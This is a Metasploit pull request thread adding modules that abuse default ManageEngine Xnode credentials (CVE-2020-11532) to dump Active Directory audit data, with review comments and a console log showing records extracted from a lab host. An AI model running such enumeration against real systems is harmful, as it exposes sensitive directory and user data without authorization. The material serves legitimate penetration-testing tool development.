metasploit-framework
metasploit-framework copied to clipboard
Add ManageEngine ADAudit Plus and DataSecurity Plus Xnode enum modules, docs and mixin (CVE-2020–11532)
About
This change adds two new auxiliary/gather modules (and docs) that take advantage of default Xnode credentials (CVE-2020–11532) in order to enumerate active directory information and other sensitive data via the DataEngine Xnode server (Xnode). Because both modules rely on the same code to interact with Xnode, this change also adds a mixin at lib/msf/core/auxiliary/manageengine_xnode that is leveraged by both modules (plus by a third module that will be part of a separate PR). Both modules also come with configuration files to determine what data will be enumerated from Xnode.
Vulnerable systems
The manageengine_adaudit_plus_xnode_enum module exploits default admin credentials for the DataEngine Xnode server in ADAudit Plus versions prior to 6.0.3 (6032), while the manageengine_datasecurity_plus_xnode_enum does the same for DataSecurity Plus versions prior to 6.0.1 (6011). Both modules leverage these credentials in order to dump the contents of Xnode data repositories (tables), which may contain (a limited amount of) Active Directory information including domain names, host names, usernames and SIDs. The modules can also be used against patched ADAudit Plus/DataSecurity Plus instances if the correct credentials are provided.
Notes
- A full writeup of how Xnode works and how CVE-2020–11532 can be leveraged for enumeration is available here.
- A demo vide of the
manageengine_adaudit_plus_xnode_enummodule is available here - Both modules come with documentation that explains how they work and how to use them
- The uncommented field (column) names in the YAML configuration files for both modules determine which data repositories (ie database tables) and which field names (ie columns) will be dumped. The default configuration is a somewhat random selection of field names I figured are interesting to enumerate, but I am definitely open to changes.
- Testing against vulnerable applications may not work because the free trials for those versions do not seem to allow the applications to set up in a way that they actually start colleting data that can then be accessed via Xnode. However, apart from some configuration changes, Xnode functions the same way on patched versions as it does on vulnerable versions, so it is possible to test the modules against patched versions as long as the correct credentials are provided.
- The ADAudit Plus module has been tested against a system that actually had data on it (see the demo video). I haven't had the same opportunity for DataSecurity Plus, so it would be great if that could be tested. I'm sure it works though, because both apps leverage the same Xnode codebase.
- Information about where to get the software for testing is available in the docs.
- I know this is quite a big PR, and I would really like to see it get landed, so please let me know if anything is missing or requires elaboration. Feel free to ping me on the Metasploit slack (I'm wynter). :)
Thanks for the review @space-r7 , I'll have a look at this next week.
@space-r7 thanks for your suggestions! My latest commit implements them all, including the creation of the socket in run if this hasn't been done yet because check has been skipped. However, I'm not fully sure if this is the right way to go because if check fails, run is guaranteed to fail as well. The reason for this is that Xnode requires authentication and afaik this cannot be disabled. Authentication is performed during check and check will only fail if authentication failed or if the target is not Xnode. Given this, I see two options to proceed:
- Leave it as is with the latest commit. This means that the module does run if you disable the
checkmethod, but every enumeration request will simply come back with anauthentication failederror message. - Remove the socket creation from
runand replace it with a check to see if a socket exists. If so, it proceeds, if not, it fails with an error message saying that the attack cannot be performed because authentication was not performed (or something along those lines) Please let me know what you think!
Oh one more point, currently the files saved to loot will not have the json extension, but the default bin. I looked into this at some point and it seemed to me then that max 3 characters were allowed for file extensions when using store_loot. I may have gotten that wrong though. Do you know if would be possible to get json output files instead?
@ErikWynter json extension acceptance have been fixed by https://github.com/rapid7/metasploit-framework/pull/15760
thanks @jmartin-r7, that's great to know! I missed that because I haven't uploaded this branch in quite a bit
Just noticed that the sanity test execution failed. If there's something I should know/do about that, please let me know :)
@msjenkins-r7 test this please.
@gwillcox-r7 thanks so much for the thorough review! The latest commit adds the vast majority of your suggestions. There were a few things I had questions about, most notably the desired return types of create_socket_for_xnode , so I look forward to your responses there. Quick summary of the main things I'd like your input on:
- YAML config files
- my attempt at an Enum for
grab_config - Testing of DataSecurity Plus against an instance with actual data in Xnode (I was hoping you could cover this during testing)
create_socket_for_xnodereturn types
@gwillcox-r7 My latest commit includes all the final changes that were requested (I think so at least). If you still notice any minor issues, feel free to fix these while testing. If there's anything else I can do, let me know :)
Unassigning myself temporarily. @bwatters-r7, @space-r7 feel free to pick this one up. Should just need to review what is done so far and make sure the changes look good, then this should be good to test and land as its gone through quite a lot of code review so far.
@ErikWynter Sorry for the delay on this one, looks like it wasn't picked up. Assigning this back to myself since I'm on reviews these next two weeks and will try get this review finished and move on to testing 👍
@gwillcox-r7 I'm mobile now so I may have missed something but I think the following change should be reverted because partial_results will be an array that should be appended to the results array. Calling .first on it will most likely lead to an error and is generally not intended:
results += partial_results.first unless partial_results.nil?
It should be reverted to
results += partial_results unless partial_results.nil?
Good news @gwillcox-r7, I tested the latest version against my adaudit instance that has some actual data in it and it ran flawlessly:
msf6 auxiliary(gather/manageengine_adaudit_plus_xnode_enum) > run
[*] Running module against 192.168.91.173
[*] 192.168.91.173:29118 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.91.173:29118 - Target seems to be Xnode.
[+] 192.168.91.173:29118 - The target appears to be vulnerable. Successfully authenticated to the Xnode server.
[*] 192.168.91.173:29118 - Obtained expected Xnode "de_health" status: "GREEN".
[*] 192.168.91.173:29118 - Target is running Xnode version: "DataEngine-XNode 1.1.0 (1100)".
[*] 192.168.91.173:29118 - Obtained Xnode installation path: "C:\Program Files\ManageEngine\ADAudit Plus\apps\dataengine-xnode".
[*] 192.168.91.173:29118 - Data repository AdapFileAuditLog is empty.
[+] 192.168.91.173:29118 - Data repository AdapPowershellAuditLog contains 258 records with ID numbers between 1.0 and 258.0.
[*] 192.168.91.173:29118 - Data repository AdapSysMonAuditLog is empty.
[+] 192.168.91.173:29118 - Data repository AdapDNSAuditLog contains 734 records with ID numbers between 1.0 and 734.0.
[*] 192.168.91.173:29118 - Data repository AdapADReplicationAuditLog is empty.
[*] 192.168.91.173:29118 - Attempting to request 258 records for data repository AdapPowershellAuditLog between IDs 1 and 258. This could take a while...
[*] 192.168.91.173:29118 - Processed 5 queries (max 10 records per query) so far. The last queried record ID was 50. The max ID is 258...
[*] 192.168.91.173:29118 - Processed 10 queries (max 10 records per query) so far. The last queried record ID was 100. The max ID is 258...
[*] 192.168.91.173:29118 - Processed 15 queries (max 10 records per query) so far. The last queried record ID was 150. The max ID is 258...
[*] 192.168.91.173:29118 - Processed 20 queries (max 10 records per query) so far. The last queried record ID was 200. The max ID is 258...
[*] 192.168.91.173:29118 - Processed 25 queries (max 10 records per query) so far. The last queried record ID was 250. The max ID is 258...
[+] 192.168.91.173:29118 - Saving 258 records from the AdapPowershellAuditLog data repository to /home/wynter/.msf4/loot/20220901133818_default_192.168.91.173_xnode_powershell_887481.bin
[*] 192.168.91.173:29118 - Attempting to request 734 records for data repository AdapDNSAuditLog between IDs 1 and 734. This could take a while...
[*] 192.168.91.173:29118 - Processed 5 queries (max 10 records per query) so far. The last queried record ID was 50. The max ID is 734...
[*] 192.168.91.173:29118 - Processed 10 queries (max 10 records per query) so far. The last queried record ID was 100. The max ID is 734...
[*] 192.168.91.173:29118 - Processed 15 queries (max 10 records per query) so far. The last queried record ID was 150. The max ID is 734...
[*] 192.168.91.173:29118 - Processed 20 queries (max 10 records per query) so far. The last queried record ID was 200. The max ID is 734...
[*] 192.168.91.173:29118 - Processed 25 queries (max 10 records per query) so far. The last queried record ID was 250. The max ID is 734...
[*] 192.168.91.173:29118 - Processed 30 queries (max 10 records per query) so far. The last queried record ID was 300. The max ID is 734...
[*] 192.168.91.173:29118 - Processed 35 queries (max 10 records per query) so far. The last queried record ID was 350. The max ID is 734...
[*] 192.168.91.173:29118 - Processed 40 queries (max 10 records per query) so far. The last queried record ID was 400. The max ID is 734...
[*] 192.168.91.173:29118 - Processed 45 queries (max 10 records per query) so far. The last queried record ID was 450. The max ID is 734...
[*] 192.168.91.173:29118 - Processed 50 queries (max 10 records per query) so far. The last queried record ID was 500. The max ID is 734...
[*] 192.168.91.173:29118 - Processed 55 queries (max 10 records per query) so far. The last queried record ID was 550. The max ID is 734...
[*] 192.168.91.173:29118 - Processed 60 queries (max 10 records per query) so far. The last queried record ID was 600. The max ID is 734...
[*] 192.168.91.173:29118 - Processed 65 queries (max 10 records per query) so far. The last queried record ID was 650. The max ID is 734...
[*] 192.168.91.173:29118 - Processed 70 queries (max 10 records per query) so far. The last queried record ID was 700. The max ID is 734...
[+] 192.168.91.173:29118 - Saving 734 records from the AdapDNSAuditLog data repository to /home/wynter/.msf4/loot/20220901133826_default_192.168.91.173_xnode_dnsaudit_462238.bin
[*] Auxiliary module execution completed
Release Notes
Two new auxiliary/gather modules have been added that take advantage of default Xnode credentials, aka CVE-2020–11532, in order to enumerate Active Directory information and other sensitive data via the DataEngine Xnode server. Additionally a new library has been added to provide reusable functionality for interacting with Xnode servers.